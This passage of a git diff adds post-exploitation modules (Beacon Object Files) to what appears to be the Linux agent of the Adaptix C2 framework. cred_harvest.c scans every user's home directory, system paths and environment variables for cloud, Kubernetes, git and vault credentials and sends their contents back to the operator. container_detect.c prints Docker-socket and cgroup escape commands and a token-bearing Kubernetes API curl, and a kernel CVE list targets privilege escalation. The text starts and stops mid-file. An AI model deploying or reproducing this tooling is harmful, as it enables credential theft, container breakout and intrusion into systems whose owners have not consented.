buf_append(buffer_t *b, const void *data, int len); +void buf_free(buffer_t *b); +void buf_reset(buffer_t *b); + +#endif // TYPES_H diff --git a/AdaptixServer/extenders/linux_agent/src_agent/bofs/container_detect.c b/AdaptixServer/extenders/linux_agent/src_agent/bofs/container_detect.c new file mode 100644 index 000000000..506fa66f7 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/bofs/container_detect.c @@ -0,0 +1,253 @@ +/// container_detect.c — BOF: Container detection + escape/breakout hints +/// Compile: gcc -c -o container_detect.o container_detect.c -include bof_api.h -Os -fPIC +/// Usage: execute bof container_detect.o + +struct linux_dirent64 { + unsigned long long d_ino; + long long d_off; + unsigned short d_reclen; + unsigned char d_type; + char d_name[]; +}; + +static int file_exists(const char *path) { + unsigned int mode = 0; + return (AxFileStat(path, &mode, (long *)0, (unsigned int *)0, (unsigned int *)0) == 0); +} + +static int file_contains(const char *path, const char *needle) { + char *data = (char *)0; + int len = AxReadFileToBuffer(path, &data, 65536); + if (len <= 0 || !data) return 0; + int found = (AxStrstr(data, needle) != (char *)0); + AxFree(data); + return found; +} + +static void check_docker(void) { + BeaconPrintf(CALLBACK_OUTPUT, "\n=== Docker ===\n"); + int is_docker = 0; + + if (file_exists("/.dockerenv")) { + BeaconPrintf(CALLBACK_OUTPUT, " [+] /.dockerenv exists\n"); + is_docker = 1; + } + + if (file_contains("/proc/1/cgroup", "docker")) { + BeaconPrintf(CALLBACK_OUTPUT, " [+] /proc/1/cgroup contains 'docker'\n"); + is_docker = 1; + } + + if (file_contains("/proc/1/cgroup", "/docker/")) { + is_docker = 1; + } + + // Check if we can see docker socket + if (file_exists("/var/run/docker.sock")) { + BeaconPrintf(CALLBACK_OUTPUT, " [!!] Docker socket accessible at /var/run/docker.sock\n"); + BeaconPrintf(CALLBACK_OUTPUT, " ESCAPE: docker run -v /:/host --rm -it alpine chroot /host sh\n"); + } + + // Check if /proc/1/cgroup shows we're in a container + if (!is_docker) { + BeaconPrintf(CALLBACK_OUTPUT, " [-] No Docker indicators\n"); + } else { + // Check for privileged mode + char *status = (char *)0; + int slen = AxReadFileToBuffer("/proc/1/status", &status, 8192); + if (slen > 0 && status) { + char *seccomp = AxStrstr(status, "Seccomp:"); + if (seccomp) { + seccomp += 8; + while (*seccomp == ' ' || *seccomp == '\t') seccomp++; + if (*seccomp == '0') { + BeaconPrintf(CALLBACK_OUTPUT, " [!!] Seccomp disabled — likely PRIVILEGED container\n"); + BeaconPrintf(CALLBACK_OUTPUT, " ESCAPE: mount host fs, nsenter, load kernel module\n"); + } + } + AxFree(status); + } + + // Check for host PID namespace + char *sched = (char *)0; + int sc_len = AxReadFileToBuffer("/proc/1/sched", &sched, 4096); + if (sc_len > 0 && sched) { + // If PID 1 is not init/systemd, we see host processes + if (AxStrstr(sched, "systemd") == (char *)0 && + AxStrstr(sched, "init") == (char *)0) { + BeaconPrintf(CALLBACK_OUTPUT, " [!] PID 1 is not init/systemd — may share host PID namespace\n"); + } + AxFree(sched); + } + + // Check mounted devices + char *mounts = (char *)0; + int mt_len = AxReadFileToBuffer("/proc/mounts", &mounts, 131072); + if (mt_len > 0 && mounts) { + if (AxStrstr(mounts, "/dev/sd") || AxStrstr(mounts, "/dev/nvme") || + AxStrstr(mounts, "/dev/vd")) { + BeaconPrintf(CALLBACK_OUTPUT, " [!] Block devices mounted — disk access possible\n"); + } + AxFree(mounts); + } + + // Check capabilities + char *cap = (char *)0; + int cap_len = AxReadFileToBuffer("/proc/1/status", &cap, 8192); + if (cap_len > 0 && cap) { + char *cap_eff = AxStrstr(cap, "CapEff:"); + if (cap_eff) { + cap_eff += 7; + while (*cap_eff == ' ' || *cap_eff == '\t') cap_eff++; + // Full caps = 000001ffffffffff or higher + if (AxStrstr(cap_eff, "0000003fffffffff") || + AxStrstr(cap_eff, "000001ffffffffff") || + AxStrstr(cap_eff, "0000003fffff")) { + BeaconPrintf(CALLBACK_OUTPUT, " [!!] Full capabilities detected — PRIVILEGED\n"); + } + char cap_val[32]; + int ci = 0; + while (cap_eff[ci] && cap_eff[ci] != '\n' && ci < 31) { + cap_val[ci] = cap_eff[ci]; + ci++; + } + cap_val[ci] = '\0'; + BeaconPrintf(CALLBACK_OUTPUT, " CapEff: %s\n", cap_val); + } + AxFree(cap); + } + } +} + +static void check_kubernetes(void) { + BeaconPrintf(CALLBACK_OUTPUT, "\n=== Kubernetes ===\n"); + int is_k8s = 0; + + if (file_exists("/var/run/secrets/kubernetes.io/serviceaccount/token")) { + BeaconPrintf(CALLBACK_OUTPUT, " [+] K8s service account token found\n"); + is_k8s = 1; + + char *token = (char *)0; + int tlen = AxReadFileToBuffer("/var/run/secrets/kubernetes.io/serviceaccount/token", &token, 8192); + if (tlen > 0 && token) { + // Show first/last 20 chars + if (tlen > 40) { + BeaconPrintf(CALLBACK_OUTPUT, " Token: %.20s...%.20s (%d bytes)\n", + token, token + tlen - 20, tlen); + } else { + BeaconPrintf(CALLBACK_OUTPUT, " Token: %s\n", token); + } + AxFree(token); + } + + char *ns = (char *)0; + int ns_len = AxReadFileToBuffer("/var/run/secrets/kubernetes.io/serviceaccount/namespace", &ns, 256); + if (ns_len > 0 && ns) { + if (ns[ns_len - 1] == '\n') ns[ns_len - 1] = '\0'; + BeaconPrintf(CALLBACK_OUTPUT, " Namespace: %s\n", ns); + AxFree(ns); + } + } + + // Check K8s env vars + char val[256]; + if (AxGetEnv("KUBERNETES_SERVICE_HOST", val, sizeof(val)) > 0) { + BeaconPrintf(CALLBACK_OUTPUT, " [+] KUBERNETES_SERVICE_HOST=%s\n", val); + is_k8s = 1; + } + if (AxGetEnv("KUBERNETES_SERVICE_PORT", val, sizeof(val)) > 0) { + BeaconPrintf(CALLBACK_OUTPUT, " [+] KUBERNETES_SERVICE_PORT=%s\n", val); + } + if (AxGetEnv("KUBERNETES_PORT", val, sizeof(val)) > 0) { + BeaconPrintf(CALLBACK_OUTPUT, " [+] KUBERNETES_PORT=%s\n", val); + } + + if (is_k8s) { + BeaconPrintf(CALLBACK_OUTPUT, " [*] Pivot hints:\n"); + BeaconPrintf(CALLBACK_OUTPUT, " - curl -sk https://$KUBERNETES_SERVICE_HOST/api/v1/namespaces -H 'Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)'\n"); + BeaconPrintf(CALLBACK_OUTPUT, " - Check RBAC: can-i list pods/secrets/configmaps\n"); + BeaconPrintf(CALLBACK_OUTPUT, " - Look for overly permissive service accounts\n"); + } else { + BeaconPrintf(CALLBACK_OUTPUT, " [-] No Kubernetes indicators\n"); + } +} + +static void check_lxc(void) { + BeaconPrintf(CALLBACK_OUTPUT, "\n=== LXC/LXD ===\n"); + + if (file_contains("/proc/1/cgroup", "lxc")) { + BeaconPrintf(CALLBACK_OUTPUT, " [+] LXC container detected (cgroup)\n"); + } else if (file_contains("/proc/1/environ", "container=lxc")) { + BeaconPrintf(CALLBACK_OUTPUT, " [+] LXC container detected (environ)\n"); + } else { + BeaconPrintf(CALLBACK_OUTPUT, " [-] No LXC indicators\n"); + } +} + +static void check_cgroup_escape(void) { + BeaconPrintf(CALLBACK_OUTPUT, "\n=== Cgroup escape checks ===\n"); + + // Check if cgroup v1 release_agent is writable + char *cgroup = (char *)0; + int cg_len = AxReadFileToBuffer("/proc/1/cgroup", &cgroup, 4096); + if (cg_len > 0 && cgroup) { + BeaconPrintf(CALLBACK_OUTPUT, " /proc/1/cgroup:\n"); + BeaconOutput(CALLBACK_OUTPUT, cgroup, cg_len); + AxFree(cgroup); + } + + // Check cgroupfs mount + if (file_exists("/sys/fs/cgroup/memory/release_agent")) { + BeaconPrintf(CALLBACK_OUTPUT, " [!!] release_agent exists — CVE-2022-0492 potential\n"); + BeaconPrintf(CALLBACK_OUTPUT, " ESCAPE: echo 1 > /sys/fs/cgroup/.../notify_on_release; write release_agent\n"); + } + + // Check /proc/sysrq-trigger (privileged indicator) + if (file_exists("/proc/sysrq-trigger")) { + unsigned int mode = 0; + AxFileStat("/proc/sysrq-trigger", &mode, (long *)0, (unsigned int *)0, (unsigned int *)0); + if (mode & 0200) { // writable + BeaconPrintf(CALLBACK_OUTPUT, " [!] /proc/sysrq-trigger is writable — privileged container\n"); + } + } + + // Check core_pattern escape + if (file_exists("/proc/sys/kernel/core_pattern")) { + char *core = (char *)0; + int core_len = AxReadFileToBuffer("/proc/sys/kernel/core_pattern", &core, 256); + if (core_len > 0 && core) { + if (core[0] == '|') { + BeaconPrintf(CALLBACK_OUTPUT, " [!] core_pattern uses pipe: %s", core); + } + AxFree(core); + } + } +} + +void go(char *args, int args_len) { + BeaconPrintf(CALLBACK_OUTPUT, "[*] Container detection + escape analysis\n"); + + // General container check + BeaconPrintf(CALLBACK_OUTPUT, "\n=== General indicators ===\n"); + + char val[256]; + if (AxGetEnv("container", val, sizeof(val)) > 0) { + BeaconPrintf(CALLBACK_OUTPUT, " [+] $container=%s\n", val); + } + + // PID 1 check + char *cmdline = (char *)0; + int cl_len = AxReadFileToBuffer("/proc/1/cmdline", &cmdline, 256); + if (cl_len > 0 && cmdline) { + BeaconPrintf(CALLBACK_OUTPUT, " PID 1: %s\n", cmdline); + AxFree(cmdline); + } + + // Detect type + check_docker(); + check_kubernetes(); + check_lxc(); + check_cgroup_escape(); + + BeaconPrintf(CALLBACK_OUTPUT, "\n[*] Container analysis complete\n"); +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/bofs/cred_harvest.c b/AdaptixServer/extenders/linux_agent/src_agent/bofs/cred_harvest.c new file mode 100644 index 000000000..fe1297ca8 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/bofs/cred_harvest.c @@ -0,0 +1,263 @@ +/// cred_harvest.c — BOF: Harvest cloud credentials (AWS/GCP/Azure/K8s/Docker) +/// Compile: gcc -c -o cred_harvest.o cred_harvest.c -include bof_api.h -Os -fPIC +/// Usage: execute bof cred_harvest.o +/// Note: Complements built-in `creds` command with deeper scanning: +/// - Scans ALL users (not just current), requires root +/// - Checks additional locations (terraform, vault, npm, pip, git) +/// - Extracts IMDS/metadata endpoints for cloud pivoting + +// getdents64 record structure +struct linux_dirent64 { + unsigned long long d_ino; + long long d_off; + unsigned short d_reclen; + unsigned char d_type; + char d_name[]; +}; + +#define DT_DIR 4 +#define DT_REG 8 + +typedef struct { + const char *subpath; + const char *description; + int show_content; // 1 = dump content, 0 = just report existence +} cred_file_t; + +static const cred_file_t cred_files[] = { + // AWS + {".aws/credentials", "AWS credentials", 1}, + {".aws/config", "AWS config", 1}, + // GCP + {".config/gcloud/application_default_credentials.json", "GCP ADC", 1}, + {".config/gcloud/credentials.db", "GCP credentials DB", 0}, + {".config/gcloud/access_tokens.db", "GCP access tokens DB", 0}, + // Azure + {".azure/accessTokens.json", "Azure tokens", 1}, + {".azure/azureProfile.json", "Azure profile", 0}, + {".azure/msal_token_cache.json", "Azure MSAL cache", 1}, + // Docker + {".docker/config.json", "Docker registry auth", 1}, + // Kubernetes + {".kube/config", "Kubernetes config", 1}, + // Terraform + {".terraform.d/credentials.tfrc.json", "Terraform Cloud token", 1}, + {".terraformrc", "Terraform config", 1}, + // Vault + {".vault-token", "HashiCorp Vault token", 1}, + // NPM + {".npmrc", "NPM registry auth", 1}, + // Pip / PyPI + {".pypirc", "PyPI upload credentials", 1}, + // Git + {".git-credentials", "Git stored credentials", 1}, + {".gitconfig", "Git config", 1}, + // Heroku + {".netrc", "netrc (Heroku/APIs)", 1}, + // GitHub CLI + {".config/gh/hosts.yml", "GitHub CLI token", 1}, + // Fly.io + {".fly/config.yml", "Fly.io token", 1}, + // Pulumi + {".pulumi/credentials.json", "Pulumi credentials", 1}, + // Ansible + {".ansible/vault_password", "Ansible vault pw", 1}, + // Sentinel + {(const char *)0, (const char *)0, 0} +}; + +static void scan_user_creds(const char *homedir, const char *username) { + int found = 0; + + for (int i = 0; cred_files[i].subpath; i++) { + char filepath[768]; + AxSnprintf(filepath, sizeof(filepath), "%s/%s", homedir, cred_files[i].subpath); + + unsigned int mode = 0; + long fsize = 0; + if (AxFileStat(filepath, &mode, &fsize, (unsigned int *)0, (unsigned int *)0) != 0) + continue; + + if (found == 0) { + BeaconPrintf(CALLBACK_OUTPUT, "\n[+] User: %s (%s)\n", username, homedir); + } + found++; + + if (cred_files[i].show_content && fsize > 0 && fsize < 65536) { + char *data = (char *)0; + int dlen = AxReadFileToBuffer(filepath, &data, 65536); + if (dlen > 0 && data) { + BeaconPrintf(CALLBACK_OUTPUT, " [CRED] %s — %s (%ld bytes)\n", + cred_files[i].subpath, cred_files[i].description, fsize); + // Indent content + BeaconOutput(CALLBACK_OUTPUT, " ---\n", 6); + BeaconOutput(CALLBACK_OUTPUT, data, dlen); + if (dlen > 0 && data[dlen - 1] != '\n') + BeaconOutput(CALLBACK_OUTPUT, "\n", 1); + BeaconOutput(CALLBACK_OUTPUT, " ---\n", 6); + AxFree(data); + } + } else { + BeaconPrintf(CALLBACK_OUTPUT, " [FILE] %s — %s (%ld bytes)\n", + cred_files[i].subpath, cred_files[i].description, fsize); + } + } +} + +static void check_system_creds(void) { + BeaconPrintf(CALLBACK_OUTPUT, "\n=== System-wide credential files ===\n"); + + typedef struct { + const char *path; + const char *desc; + int show; + } sys_cred_t; + + static const sys_cred_t sys_creds[] = { + {"/etc/shadow", "Shadow passwords", 0}, + {"/var/run/secrets/kubernetes.io/serviceaccount/token", "K8s SA token", 1}, + {"/var/run/secrets/kubernetes.io/serviceaccount/ca.crt", "K8s CA cert", 0}, + {"/var/run/secrets/kubernetes.io/serviceaccount/namespace", "K8s namespace", 1}, + {"/etc/rancher/k3s/k3s.yaml", "K3s kubeconfig", 1}, + {"/etc/kubernetes/admin.conf", "K8s admin config", 1}, + {"/var/lib/kubelet/kubeconfig", "Kubelet config", 1}, + {"/root/.docker/config.json", "Root Docker auth", 1}, + {"/etc/docker/daemon.json", "Docker daemon config", 1}, + {"/etc/vault.d/vault.hcl", "Vault server config", 1}, + {"/etc/consul.d/consul.hcl", "Consul config", 0}, + {"/opt/containerd/config.toml", "Containerd config", 0}, + {(const char *)0, (const char *)0, 0} + }; + + for (int i = 0; sys_creds[i].path; i++) { + unsigned int mode = 0; + long fsize = 0; + if (AxFileStat(sys_creds[i].path, &mode, &fsize, (unsigned int *)0, (unsigned int *)0) != 0) + continue; + + if (sys_creds[i].show && fsize > 0 && fsize < 65536) { + char *data = (char *)0; + int dlen = AxReadFileToBuffer(sys_creds[i].path, &data, 65536); + if (dlen > 0 && data) { + BeaconPrintf(CALLBACK_OUTPUT, " [CRED] %s — %s (%ld bytes)\n", + sys_creds[i].path, sys_creds[i].desc, fsize); + BeaconOutput(CALLBACK_OUTPUT, " ---\n", 6); + BeaconOutput(CALLBACK_OUTPUT, data, dlen); + if (dlen > 0 && data[dlen - 1] != '\n') + BeaconOutput(CALLBACK_OUTPUT, "\n", 1); + BeaconOutput(CALLBACK_OUTPUT, " ---\n", 6); + AxFree(data); + } + } else { + BeaconPrintf(CALLBACK_OUTPUT, " [FILE] %s — %s (%ld bytes)\n", + sys_creds[i].path, sys_creds[i].desc, fsize); + } + } +} + +static void check_env_creds(void) { + BeaconPrintf(CALLBACK_OUTPUT, "\n=== Environment variables (secrets) ===\n"); + + const char *env_vars[] = { + "AWS_ACCESS_KEY_ID", "AWS_SECRET_ACCESS_KEY", "AWS_SESSION_TOKEN", + "GOOGLE_APPLICATION_CREDENTIALS", "GOOGLE_CLOUD_PROJECT", + "AZURE_CLIENT_ID", "AZURE_CLIENT_SECRET", "AZURE_TENANT_ID", + "VAULT_TOKEN", "VAULT_ADDR", + "DOCKER_AUTH_CONFIG", + "GITHUB_TOKEN", "GH_TOKEN", "GITLAB_TOKEN", + "NPM_TOKEN", + "DATABASE_URL", "DB_PASSWORD", "MYSQL_ROOT_PASSWORD", + "POSTGRES_PASSWORD", "REDIS_PASSWORD", + "JWT_SECRET", "SECRET_KEY", "API_KEY", + (const char *)0 + }; + + int found = 0; + for (int i = 0; env_vars[i]; i++) { + char val[1024]; + if (AxGetEnv(env_vars[i], val, sizeof(val)) > 0) { + // Mask partial value for OPSEC + int vlen = AxStrlen(val); + if (vlen > 8) { + BeaconPrintf(CALLBACK_OUTPUT, " [ENV] %s = %c%c%c%c...%c%c%c%c (%d chars)\n", + env_vars[i], val[0], val[1], val[2], val[3], + val[vlen-4], val[vlen-3], val[vlen-2], val[vlen-1], vlen); + } else { + BeaconPrintf(CALLBACK_OUTPUT, " [ENV] %s = %s\n", env_vars[i], val); + } + found++; + } + } + + if (found == 0) { + BeaconPrintf(CALLBACK_OUTPUT, " (no secret env vars found)\n"); + } +} + +void go(char *args, int args_len) { + BeaconPrintf(CALLBACK_OUTPUT, "[*] Deep credential harvest\n"); + + // 1. Scan all users from /etc/passwd + char *passwd = (char *)0; + int passwd_len = AxReadFileToBuffer("/etc/passwd", &passwd, 524288); + if (passwd_len > 0 && passwd) { + BeaconPrintf(CALLBACK_OUTPUT, "\n=== Per-user credential files ===\n"); + + char *line = passwd; + while (line < passwd + passwd_len) { + char *eol = line; + while (eol < passwd + passwd_len && *eol != '\n') + eol++; + + // Parse: username:x:uid:gid:gecos:homedir:shell + int field = 0; + char *username = line; + int username_len = 0; + char *homedir = (char *)0; + int homedir_len = 0; + char *field_start = line; + + for (char *p = line; p <= eol; p++) { + if (p == eol || *p == ':') { + if (field == 0) { + username = field_start; + username_len = (int)(p - field_start); + } else if (field == 5) { + homedir = field_start; + homedir_len = (int)(p - field_start); + } + field++; + field_start = p + 1; + } + } + + if (homedir && homedir_len > 1 && homedir_len < 256) { + char home_buf[512]; + AxMemcpy(home_buf, homedir, homedir_len); + home_buf[homedir_len] = '\0'; + + char uname_buf[256]; + if (username_len > 255) username_len = 255; + AxMemcpy(uname_buf, username, username_len); + uname_buf[username_len] = '\0'; + + // Skip nonexistent home dirs + unsigned int mode = 0; + if (AxFileStat(home_buf, &mode, (long *)0, (unsigned int *)0, (unsigned int *)0) == 0) { + scan_user_creds(home_buf, uname_buf); + } + } + + line = eol + 1; + } + AxFree(passwd); + } + + // 2. System-wide credential files + check_system_creds(); + + // 3. Environment variables + check_env_creds(); + + BeaconPrintf(CALLBACK_OUTPUT, "\n[*] Harvest complete\n"); +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/bofs/host_recon.c b/AdaptixServer/extenders/linux_agent/src_agent/bofs/host_recon.c new file mode 100644 index 000000000..02115a04b --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/bofs/host_recon.c @@ -0,0 +1,309 @@ +/// host_recon.c — BOF: Host reconnaissance (system info, users, groups, login history, crontabs) +/// Compile: gcc -c -o host_recon.o host_recon.c -include bof_api.h -Os -fPIC +/// Usage: execute bof host_recon.o + +struct linux_dirent64 { + unsigned long long d_ino; + long long d_off; + unsigned short d_reclen; + unsigned char d_type; + char d_name[]; +}; + +static void dump_file(const char *title, const char *path, int max_size) { + char *data = (char *)0; + int len = AxReadFileToBuffer(path, &data, max_size); + if (len > 0 && data) { + BeaconPrintf(CALLBACK_OUTPUT, "\n=== %s ===\n", title); + BeaconOutput(CALLBACK_OUTPUT, data, len); + if (data[len - 1] != '\n') + BeaconOutput(CALLBACK_OUTPUT, "\n", 1); + AxFree(data); + } +} + +static void system_info(void) { + BeaconPrintf(CALLBACK_OUTPUT, "=== System Information ===\n"); + + // Hostname + char *hn = (char *)0; + int hn_len = AxReadFileToBuffer("/proc/sys/kernel/hostname", &hn, 256); + if (hn_len > 0 && hn) { + // Trim trailing newline + if (hn[hn_len - 1] == '\n') hn[hn_len - 1] = '\0'; + BeaconPrintf(CALLBACK_OUTPUT, " Hostname: %s\n", hn); + AxFree(hn); + } + + // Domain + char *dm = (char *)0; + int dm_len = AxReadFileToBuffer("/proc/sys/kernel/domainname", &dm, 256); + if (dm_len > 0 && dm) { + if (dm[dm_len - 1] == '\n') dm[dm_len - 1] = '\0'; + BeaconPrintf(CALLBACK_OUTPUT, " Domain: %s\n", dm); + AxFree(dm); + } + + // Kernel + char *ver = (char *)0; + int ver_len = AxReadFileToBuffer("/proc/version", &ver, 512); + if (ver_len > 0 && ver) { + if (ver[ver_len - 1] == '\n') ver[ver_len - 1] = '\0'; + BeaconPrintf(CALLBACK_OUTPUT, " Kernel: %s\n", ver); + AxFree(ver); + } + + // OS release + char *os = (char *)0; + int os_len = AxReadFileToBuffer("/etc/os-release", &os, 4096); + if (os_len > 0 && os) { + // Extract PRETTY_NAME + char *pn = AxStrstr(os, "PRETTY_NAME="); + if (pn) { + pn += 12; + if (*pn == '"') pn++; + char *end = AxStrchr(pn, '"'); + if (!end) end = AxStrchr(pn, '\n'); + if (end) { + char osname[256]; + int nlen = (int)(end - pn); + if (nlen > 255) nlen = 255; + AxMemcpy(osname, pn, nlen); + osname[nlen] = '\0'; + BeaconPrintf(CALLBACK_OUTPUT, " OS: %s\n", osname); + } + } + AxFree(os); + } + + // Uptime + char *up = (char *)0; + int up_len = AxReadFileToBuffer("/proc/uptime", &up, 128); + if (up_len > 0 && up) { + // First field is total seconds + long seconds = 0; + char *p = up; + while (*p >= '0' && *p <= '9') { + seconds = seconds * 10 + (*p - '0'); + p++; + } + long days = seconds / 86400; + long hours = (seconds % 86400) / 3600; + long mins = (seconds % 3600) / 60; + BeaconPrintf(CALLBACK_OUTPUT, " Uptime: %ldd %ldh %ldm\n", days, hours, mins); + AxFree(up); + } + + // CPU info (first processor) + char *cpu = (char *)0; + int cpu_len = AxReadFileToBuffer("/proc/cpuinfo", &cpu, 8192); + if (cpu_len > 0 && cpu) { + char *model = AxStrstr(cpu, "model name"); + if (model) { + char *colon = AxStrchr(model, ':'); + if (colon) { + colon++; + while (*colon == ' ' || *colon == '\t') colon++; + char *eol = AxStrchr(colon, '\n'); + if (eol) { + char cpuname[256]; + int clen = (int)(eol - colon); + if (clen > 255) clen = 255; + AxMemcpy(cpuname, colon, clen); + cpuname[clen] = '\0'; + BeaconPrintf(CALLBACK_OUTPUT, " CPU: %s\n", cpuname); + } + } + } + // Count processors + int ncpu = 0; + char *search = cpu; + while ((search = AxStrstr(search, "processor")) != (char *)0) { + ncpu++; + search += 9; + } + BeaconPrintf(CALLBACK_OUTPUT, " CPU cores: %d\n", ncpu); + AxFree(cpu); + } + + // Memory + char *mem = (char *)0; + int mem_len = AxReadFileToBuffer("/proc/meminfo", &mem, 4096); + if (mem_len > 0 && mem) { + char *mt = AxStrstr(mem, "MemTotal:"); + char *mf = AxStrstr(mem, "MemAvailable:"); + if (mt) { + mt += 9; + while (*mt == ' ') mt++; + long total = 0; + while (*mt >= '0' && *mt <= '9') { total = total * 10 + (*mt - '0'); mt++; } + BeaconPrintf(CALLBACK_OUTPUT, " RAM total: %ld MB\n", total / 1024); + } + if (mf) { + mf += 13; + while (*mf == ' ') mf++; + long avail = 0; + while (*mf >= '0' && *mf <= '9') { avail = avail * 10 + (*mf - '0'); mf++; } + BeaconPrintf(CALLBACK_OUTPUT, " RAM avail: %ld MB\n", avail / 1024); + } + AxFree(mem); + } + + // Architecture + BeaconPrintf(CALLBACK_OUTPUT, " PID: %d\n", AxGetPid()); + BeaconPrintf(CALLBACK_OUTPUT, " UID: %d EUID: %d\n", AxGetUid(), AxGetEuid()); +} + +static void enum_users(void) { + char *passwd = (char *)0; + int len = AxReadFileToBuffer("/etc/passwd", &passwd, 524288); + if (len <= 0 || !passwd) return; + + BeaconPrintf(CALLBACK_OUTPUT, "\n=== Users with shell access ===\n"); + BeaconPrintf(CALLBACK_OUTPUT, " %-20s %-6s %-6s %-30s %s\n", + "USERNAME", "UID", "GID", "HOME", "SHELL"); + + char *line = passwd; + while (line < passwd + len) { + char *eol = line; + while (eol < passwd + len && *eol != '\n') eol++; + + // Parse: user:x:uid:gid:gecos:home:shell + char *fields[7]; + int nfields = 0; + char *fstart = line; + for (char *p = line; p <= eol && nfields < 7; p++) { + if (p == eol || *p == ':') { + fields[nfields++] = fstart; + if (p < eol) *p = '\0'; // Temporary null termination + fstart = p + 1; + } + } + + if (nfields >= 7) { + // Skip nologin/false + int skip = 0; + int shell_len = AxStrlen(fields[6]); + if (shell_len >= 7 && AxStrncmp(fields[6] + shell_len - 7, "nologin", 7) == 0) skip = 1; + if (shell_len >= 5 && AxStrncmp(fields[6] + shell_len - 5, "false", 5) == 0) skip = 1; + if (AxStrcmp(fields[6], "/bin/sync") == 0) skip = 1; + + if (!skip) { + BeaconPrintf(CALLBACK_OUTPUT, " %-20s %-6s %-6s %-30s %s\n", + fields[0], fields[2], fields[3], fields[5], fields[6]); + } + } + + // Restore colons (not strictly needed since we own the buffer) + line = eol + 1; + } + AxFree(passwd); +} + +static void enum_groups(void) { + char *groups = (char *)0; + int len = AxReadFileToBuffer("/etc/group", &groups, 524288); + if (len <= 0 || !groups) return; + + BeaconPrintf(CALLBACK_OUTPUT, "\n=== Groups with members ===\n"); + + char *line = groups; + while (line < groups + len) { + char *eol = line; + while (eol < groups + len && *eol != '\n') eol++; + + // group:x:gid:member1,member2 + // Find last colon + char *last_colon = eol; + int colons = 0; + for (char *p = line; p < eol; p++) { + if (*p == ':') { last_colon = p; colons++; } + } + + if (colons >= 3 && last_colon + 1 < eol) { + // Has members — show this group + char gline[512]; + int glen = (int)(eol - line); + if (glen > 511) glen = 511; + AxMemcpy(gline, line, glen); + gline[glen] = '\0'; + BeaconPrintf(CALLBACK_OUTPUT, " %s\n", gline); + } + + line = eol + 1; + } + AxFree(groups); +} + +static void enum_crontabs(void) { + BeaconPrintf(CALLBACK_OUTPUT, "\n=== Crontabs ===\n"); + + // System crontab + char *crontab = (char *)0; + int ct_len = AxReadFileToBuffer("/etc/crontab", &crontab, 65536); + if (ct_len > 0 && crontab) { + BeaconPrintf(CALLBACK_OUTPUT, " [/etc/crontab]\n"); + // Show non-comment lines + char *line = crontab; + while (line < crontab + ct_len) { + char *eol = line; + while (eol < crontab + ct_len && *eol != '\n') eol++; + int llen = (int)(eol - line); + if (llen > 0 && line[0] != '#') { + char *s = line; + while (s < eol && (*s == ' ' || *s == '\t')) s++; + if (s < eol) { + char lbuf[512]; + int ll = (int)(eol - line); + if (ll > 511) ll = 511; + AxMemcpy(lbuf, line, ll); + lbuf[ll] = '\0'; + BeaconPrintf(CALLBACK_OUTPUT, " %s\n", lbuf); + } + } + line = eol + 1; + } + AxFree(crontab); + } + + // /etc/cron.d/ + int dirfd = AxOpenDir("/etc/cron.d"); + if (dirfd >= 0) { + char dirbuf[4096]; + while (1) { + int nread = AxReadDir(dirfd, dirbuf, sizeof(dirbuf)); + if (nread <= 0) break; + int pos = 0; + while (pos < nread) { + struct linux_dirent64 *entry = (struct linux_dirent64 *)(dirbuf + pos); + if (entry->d_name[0] != '.') { + char fpath[256]; + AxSnprintf(fpath, sizeof(fpath), "/etc/cron.d/%s", entry->d_name); + BeaconPrintf(CALLBACK_OUTPUT, " [%s]\n", fpath); + } + pos += entry->d_reclen; + } + } + AxCloseFile(dirfd); + } +} + +void go(char *args, int args_len) { + BeaconPrintf(CALLBACK_OUTPUT, "[*] Host reconnaissance\n\n"); + + system_info(); + enum_users(); + enum_groups(); + enum_crontabs(); + + // Login shells + dump_file("Available shells", "/etc/shells", 4096); + + // Timezone + dump_file("Timezone", "/etc/timezone", 128); + + // Machine ID + dump_file("Machine ID", "/etc/machine-id", 128); + + BeaconPrintf(CALLBACK_OUTPUT, "\n[*] Host recon complete\n"); +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/bofs/kernel_exploit_check.c b/AdaptixServer/extenders/linux_agent/src_agent/bofs/kernel_exploit_check.c new file mode 100644 index 000000000..5318f1169 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/bofs/kernel_exploit_check.c @@ -0,0 +1,251 @@ +/// kernel_exploit_check.c — BOF: Check kernel version against known privilege escalation CVEs +/// Compile: gcc -c -o kernel_exploit_check.o kernel_exploit_check.c -include bof_api.h -Os -fPIC +/// Usage: execute bof kernel_exploit_check.o + +typedef struct { + const char *cve; + const char *name; + int min_major, min_minor, min_patch; + int max_major, max_minor, max_patch; + const char *note; +} kernel_cve_t; + +static const kernel_cve_t kernel_cves[] = { + // DirtyPipe + {"CVE-2022-0847", "DirtyPipe", 5, 8, 0, 5, 16, 10, + "Arbitrary file overwrite via pipe — instant root. Fixed in 5.16.11, 5.15.25, 5.10.102"}, + // DirtyCow + {"CVE-2016-5195", "DirtyCow", 2, 6, 22, 4, 8, 2, + "Race condition in COW — write to read-only mappings. Fixed in 4.8.3"}, + // Sequoia (size_t overflow in seq_file) + {"CVE-2021-33909", "Sequoia", 3, 16, 0, 5, 13, 3, + "size_t overflow in filesystem layer — path length exploitation. Fixed in 5.13.4"}, + // Polkit pkexec + {"CVE-2021-4034", "PwnKit (pkexec)", 0, 0, 0, 99, 99, 99, + "Not kernel but pkexec — affects nearly all Linux distros. Check: ls -la /usr/bin/pkexec"}, + // Netfilter nf_tables + {"CVE-2022-32250", "nf_tables UAF", 5, 8, 0, 5, 18, 0, + "Use-after-free in nf_tables — local privesc. Fixed in 5.18.1"}, + // io_uring + {"CVE-2022-29582", "io_uring UAF", 5, 10, 0, 5, 17, 2, + "io_uring fixed file use-after-free — requires io_uring access. Fixed in 5.17.3"}, + // Dirty Cred + {"CVE-2022-2588", "DirtyCred (route4)", 4, 4, 0, 5, 19, 0, + "route4 filter UAF — swap unprivileged creds. Fixed in 5.19.1"}, + // OverlayFS (multiple) + {"CVE-2023-0386", "OverlayFS privesc", 5, 11, 0, 6, 2, 0, + "OverlayFS setuid copy-up bypass — mount ns + FUSE. Fixed in 6.2"}, + // StackRot + {"CVE-2023-3269", "StackRot", 6, 1, 0, 6, 4, 0, + "Maple tree RCU UAF — VMA write via stack 